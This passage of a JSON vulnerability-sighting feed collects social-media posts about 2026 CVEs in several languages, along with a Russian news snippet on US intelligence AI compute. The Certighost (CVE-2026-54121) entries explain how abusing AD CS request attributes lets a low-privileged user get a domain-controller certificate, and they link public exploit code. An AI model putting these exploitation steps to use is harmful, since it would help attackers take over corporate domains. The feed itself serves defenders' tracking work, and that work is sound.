\u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0434\u0430\u0442\u0430-\u0446\u0435\u043d\u0442\u0440\u044b, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043b\u043e\u0441\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u044a\u0435\u043c\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u044d\u043d\u0435\u0440\u0433\u0438\u0438 \u0438 \u043e\u0441\u043d\u0430\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u0436\u0438\u0434\u043a\u043e\u0441\u0442\u043d\u043e\u0433\u043e \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f.\n\n\u041a\u043e\u043d\u0433\u0440\u0435\u0441\u0441 \u0421\u0428\u0410 \u0435\u0449\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u044d\u0442\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f \u0443\u0436\u0435 \u043f\u0435\u0440\u0435\u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 $800 \u043c\u043b\u043d \u0434\u043b\u044f \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0437\u0430\u043a\u0443\u043f\u043a\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u043e\u0449\u043d\u043e\u0441\u0442\u0435\u0439. \u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432, \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c \u0441\u043f\u0435\u0446\u0441\u043b\u0443\u0436\u0431\u0430\u043c \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0443\u043c\u043c\u044b. \u0411\u044b\u0432\u0448\u0438\u0439 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0410\u041d\u0411 \u0438 \u0441\u0442\u0430\u0440\u0448\u0438\u0439 \u043d\u0430\u0443\u0447\u043d\u044b\u0439 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u043f\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0418\u0418 \u0432 \u0421\u043e\u0432\u0435\u0442\u0435 \u043f\u043e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u044b\u043c \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c \u0412\u0438\u043d\u044c \u041d\u0433\u0443\u0435\u043d \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u043d\u0443\u043b, \u0447\u0442\u043e \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u0435 \u0440\u0443\u0431\u0435\u0436\u0438, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u043b\u0443\u0447\u0448\u0438\u0435 \u0418\u0418-\u0447\u0438\u043f\u044b, \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0442\u0430\u043b\u0430\u043d\u0442\u044b.\n\n\u0413\u043b\u0430\u0432\u0430 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u0430 \u0411\u0435\u043b\u043e\u0433\u043e \u0434\u043e\u043c\u0430 \u0421\u044c\u044e\u0437\u0438 \u0423\u0430\u0439\u043b\u0441 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \ud83c\udfa9\u0410\u041d\u0411 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u043e\u0439 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u0438 Mythos \u043e\u0442 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Anthropic. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u041f\u0435\u043d\u0442\u0430\u0433\u043e\u043d \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043b \u0434\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u043b\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a.\n\n\u270b @Russian_OSINT", "creation_timestamp": "2026-09-03T00:00:44.918508Z"}, {"uuid": "073d1a03-d157-4e80-8326-6faa65fcd7e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/48185", "content": "\ud83d\udd12 Certighost (CVE-2026-54121) \u2014 AD CS Domain Controller Impersonation\n\nLow-privileged domain user can impersonate a Domain Controller via an AD CS enrollment chase fallback. By supplying cdc (Client DC) and rmd (Remote Domain) request attributes, an attacker forces the Enterprise CA to query an attacker-controlled host over SMB and LDAP.\n\nThe CA then blindly trusts the returned directory objects (objectSid + dNSHostName of a real DC) and issues a certificate containing strong identity mapping for the Domain Controller. This allows successful PKINIT authentication as the DC.\n\n\ud83d\udd17 Research:\nhttps://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26\n\n\ud83d\udd17 Source:\nhttps://github.com/aniqfakhrul/CVE-2026-54121\n\n#ad #adcs #pkinit #machineaccountquota", "creation_timestamp": "2026-09-03T00:00:52.473269Z"}, {"uuid": "1f2a3681-2ad7-414f-b22d-080f8e14973c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/48310", "content": "\ud83d\udd12 Certighost (CVE-2026-54121) \u2014 Suplantaci\u00f3n de un controlador de dominio AD CS\n\nUn usuario de dominio con privilegios limitados puede suplantar a un controlador de dominio a trav\u00e9s de una ruta de retorno en el proceso de registro de AD CS. Al proporcionar los atributos de solicitud cdc (Controlador de dominio del cliente) y rmd (Dominio remoto), un atacante obliga a la Autoridad de Certificaci\u00f3n (CA) empresarial a consultar un host controlado por el atacante a trav\u00e9s de SMB y LDAP.\n\nLa CA, entonces, conf\u00eda ciegamente en los objetos de directorio devueltos (objectSid + dNSHostName de un controlador de dominio real) y emite un certificado que contiene un mapeo de identidad robusto para el controlador de dominio. Esto permite una autenticaci\u00f3n PKINIT exitosa como el controlador de dominio.\n\n\ud83d\udd17 Fuente:\nhttps://github.com/aniqfakhrul/CVE-2026-54121\n\n#ad #adcs #pkinit #machineaccountquota", "creation_timestamp": "2026-09-03T00:00:52.677629Z"}, {"uuid": "8dafb5c3-95de-4139-83e6-5ff2dac5aa9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/bizone_channel/2829", "content": "\ud83c\udf1d \u041a\u0430\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Certighost\n\n\u0412 \u043d\u0430\u0448\u0435\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u043c \u043a\u0430\u043d\u0430\u043b\u0435 \u0432\u044b\u0448\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044f, \u0433\u0434\u0435 \u043c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Certighost (CVE-2026-54121) \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u043d\u0430 \u043a\u0430\u043a\u0438\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\u0412 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u2014 \u0434\u0435\u0442\u0435\u043a\u0442\u044b, \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u043f\u0440\u0430\u0432\u0438\u043b \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0432 SOC \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.\n\n\u041a\u0441\u0442\u0430\u0442\u0438, \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435\u0441\u044c!", "creation_timestamp": "2026-09-03T12:00:06.378216Z"}, {"uuid": "c28ff07e-a8b8-47fc-9df0-bba1a03eb1f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/bizone_channel/2829", "content": "\ud83c\udf1d \u041a\u0430\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Certighost\n\n\u0412 \u043d\u0430\u0448\u0435\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u043c \u043a\u0430\u043d\u0430\u043b\u0435 \u0432\u044b\u0448\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044f, \u0433\u0434\u0435 \u043c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Certighost (CVE-2026-54121) \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u043d\u0430 \u043a\u0430\u043a\u0438\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\u0412 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u2014 \u0434\u0435\u0442\u0435\u043a\u0442\u044b, \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u043f\u0440\u0430\u0432\u0438\u043b \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0432 SOC \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.\n\n\u041a\u0441\u0442\u0430\u0442\u0438, \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435\u0441\u044c!", "creation_timestamp": "2026-09-04T00:00:51.313485Z"}, {"uuid": "b860d321-4905-4791-9520-151fbac6c4e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54329", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3muypx74abr25", "content": "\ud83d\udccc CVE-2026-54329 - Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the Accessories API create path mass-assigns request parameters to the Accessory mo... https://www.cyberhub.blog/cves/CVE-2026-54329", "creation_timestamp": "2026-09-08T09:37:07.178335Z"}, {"uuid": "608f8402-1a4a-41b6-b8da-e79549adc796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/GithubRedTeam/101754", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #\u6f0f\u6d1e\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Certighost_CVE-2026-54121\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TryA9ain\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-09 03:57:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAD CS \u8bc1\u4e66\u8eab\u4efd\u4f2a\u9020\u6f0f\u6d1e\uff0c\u5c5e\u4e8eESC\uff08Exploit Certification\uff09\u7cfb\u5217 \u7684\u65b0\u6210\u5458\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-09T10:00:06.182506Z"}, {"uuid": "7d0252c8-ffdd-4765-98eb-a07dbd39d972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/6CB9q_72mBhsjQjI1J7xmJKbYDVj36uzEd2_SQzSzeH690k", "content": "", "creation_timestamp": "2026-09-09T16:00:06.222463Z"}, {"uuid": "2ccb92bf-6be2-41c3-aa40-163e20d8a766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54694", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/ewnnnaseqi6h5", "content": "CVE-2026-54694 - NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover\nCVE ID : CVE-2026-54694\n \n Published : Sept. 9, 2026, 7:17 p.m. | 18\u00a0minutes ago\n \n Description : SkillTree is a micro-learning gamification platform. Pr...", "creation_timestamp": "2026-09-09T19:46:53.941569Z"}, {"uuid": "6e36c635-ca19-4d3c-89fe-a50690263471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54694", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mv4dblktp72w", "content": "\ud83d\udd34 CVE-2026-54694 - Critical (9.6)\n\nSkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54694/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-09T20:00:56.887615Z"}, {"uuid": "b0b73db5-076c-4a05-9124-34147ad4061c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54694", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mv4dniwvyn2j", "content": "\ud83d\udea8 CVE-2026-54694 \u2014 CVSS 9.6 CRITICAL\n\nSkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws com...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54694\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-09T20:07:35.660862Z"}, {"uuid": "a5e2936e-7e79-4b78-8dc8-5c2b197f941c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54694", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mv4ntsaox525", "content": "CVE-2026-54694 - skills-service\nSkillTree versions before 4.4.2 let a user store raw text in their name fields, which is later shown on a quiz page without cleaning it. An attacker can register with a specially\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#skillsservice #CVE #infosec", "creation_timestamp": "2026-09-09T23:10:04.207030Z"}, {"uuid": "a2be4c10-6cc3-47a7-8fbc-e083864e7748", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/6CB9q_72mBhsjQjI1J7xmJKbYDVj36uzEd2_SQzSzeH690k", "content": "", "creation_timestamp": "2026-09-10T00:00:34.432602Z"}, {"uuid": "9aa96447-0c38-4614-b480-c59b8160ae37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101754", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #\u6f0f\u6d1e\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Certighost_CVE-2026-54121\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a TryA9ain\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-09 03:57:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAD CS \u8bc1\u4e66\u8eab\u4efd\u4f2a\u9020\u6f0f\u6d1e\uff0c\u5c5e\u4e8eESC\uff08Exploit Certification\uff09\u7cfb\u5217 \u7684\u65b0\u6210\u5458\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-10T00:00:44.831537Z"}, {"uuid": "2b9200ab-18e4-47bb-962a-9d5e4c6f36d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54569", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mv6347h3c52f", "content": "CVE-2026-54569 - senaite.core\nVersions 2.0.0 to 2.6.0 of the SENAITE laboratory system allow anyone on the network to send specially crafted requests that cause the server to execute arbitrary code. This can\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#senaitecore #pip #CVE #infosec", "creation_timestamp": "2026-09-10T12:40:04.916397Z"}, {"uuid": "451e796f-816c-4099-86c2-c9a8d5bb13da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54694", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mvahz6dgxo2p", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-54694: NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover\nCVSS 9.6 \u00b7 EPSS 0.3%\nhttps://beta.vulnsea.com/cve/CVE-2026-54694\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-09-11T11:36:21.939827Z"}, {"uuid": "959ddbeb-12c3-472d-958d-c206e4f9f588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54694", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mvasjjk3zs2q", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-54694: NationalSecurityAgency/skills-service has Stored XSS via User Registration Enabling Admin Account Takeover\nCVSS 9.6 \u00b7 EPSS 0.3%\nhttps://beta.vulnsea.com/cve/CVE-2026-54694\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-09-11T14:44:26.770649Z"}, {"uuid": "8070edf0-4b9c-4772-9d36-75b63a504f85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54047", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvb3rquccx2f", "content": "CVE-2026-54047 - server\nThe Laci Synchroni sync server (versions before 1.2.3) lets anyone who edits a local configuration file log in as any other user. This means an attacker could take over another\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#server #lacisynchroni #CVE #infosec", "creation_timestamp": "2026-09-11T17:30:06.888175Z"}, {"uuid": "453940f9-65bf-42bf-a4fd-f5d3e7ca41ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54047", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/hh4d5o26wjn56", "content": "CVE-2026-54047 - Laci Synchroni Backend Vulnerable to Account Takeover / User Impersonation via Client-Side Configuration Manipulation\nCVE ID : CVE-2026-54047\n \n Published : Sept. 11, 2026, 5:17 p.m. | 27\u00a0minutes ago\n \n Description : Laci Synchroni is a decentralized mod and a...", "creation_timestamp": "2026-09-11T18:08:06.656166Z"}, {"uuid": "f258f855-8674-4637-913f-dc9ba3df9062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54047", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvb5wqimg42f", "content": "\ud83d\udea8 CVE-2026-54047 \u2014 CVSS 9.2 CRITICAL\n\nLaci Synchroni is a decentralized mod and appearance sync server and plugin for Dalamud. Versions of the ba...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54047\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-11T18:08:41.687396Z"}, {"uuid": "9512ec11-bd61-4eb3-a165-7b2af635e3b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54694", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3mvbaf6pqrd2p", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-54694: SkillTree is a micro-learning gamification platform\nCVSS 9.6\nhttps://beta.vulnsea.com/cve/CVE-2026-54694\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-09-11T18:52:33.704889Z"}, {"uuid": "827f3378-eb87-4888-9c2a-0e183169d252", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54047", "type": "seen", "source": "https://gist.github.com/ichintu/8151c2994398b20c3f2c1cd0ecf05f94", "content": "This daily threat intelligence roundup consolidates critical software vulnerabilities, active exploitation campaigns, AI security threats, and infrastructure updates:\n\n**Critical Vulnerabilities & Patches:** Security advisories cover patched flaws in n8n, Progress Chef Automate, and Laci Synchroni (CVE-2026-54047), which allows critical account takeover via client-side config manipulation. An ST Engineering VSAT terminal flaw (CVE-2026-38056) exploits a factory pre-configured account, threatening critical infrastructure. \n\n**Active Exploitation:** A CVSS 10 file-read vulnerability in GitLab was rapidly probed in the wild shortly after disclosure. ConnectWise ScreenConnect (CVE-2026-84869) was actively exploited and added to CISA\u2019s KEV database before a patch was released, enabling unauthorized file transfer and execution during remote sessions.\n\n**AI Security & Community:** Anthropic reported unauthorized, industrial-scale Claude model distillation attacks by seven Chinese AI labs. This coincides with a widely viewed DEF CON talk on offensive AI hacking and a Reddit AMA on macOS offensive security.\n\n**Infrastructure Updates:** Microsoft is redirecting Teams and Copilot traffic to new cloud domains (`teams.cloud.microsoft` and `copilot.cloud.microsoft`). Organizations must immediately update firewall, proxy, and secure web gateway rules to maintain access and adjust tenant restrictions.", "creation_timestamp": "2026-09-11T20:03:10.408239Z"}, {"uuid": "bfb459f8-f922-4a96-9ef2-18ddc74bfe03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54072", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvbemgc24w2t", "content": "\ud83d\udea8 CVE-2026-54072 \u2014 CVSS 9.3 CRITICAL\n\nAuthorizer is an open-source, self-hostable authentication and authorization server. Prior to version 2.2.1...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-54072\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-11T20:08:11.680177Z"}, {"uuid": "f4e96ae5-09ac-4ec7-9b8c-d2fd44cb8564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54248", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/hbtdayddmdq3d", "content": "CVE-2026-54248 - Doco-CD has an OCI Trust Policy Bypass via Artifact-Contained Configuration\nCVE ID : CVE-2026-54248\n \n Published : Sept. 11, 2026, 9:24 p.m. | 10\u00a0minutes ago\n \n Description : Doco-CD is a GitOps continuous delivery tool that automatically deploys and updates D...", "creation_timestamp": "2026-09-11T21:56:00.916542Z"}, {"uuid": "fc755534-fe35-45c3-8239-7ed1f49e9781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54135", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvbkyi7oth2z", "content": "\ud83d\udfe0 CVE-2026-54135 - High (7.5)\n\nAirSane is a SANE frontend, and a scanner server that supports Apple's AirScan protocol. Versions...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54135/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-09-11T22:02:19.855491Z"}, {"uuid": "09bc0fbd-1ee6-43dc-8fd6-995cb5c42b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54174", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mvbkumdpbo2m", "content": "\ud83d\udfe0 CVE-2026-54174 - High (8.3)\n\nmelange allows users to build apk packages using declarative pipelines. Apko prior to version 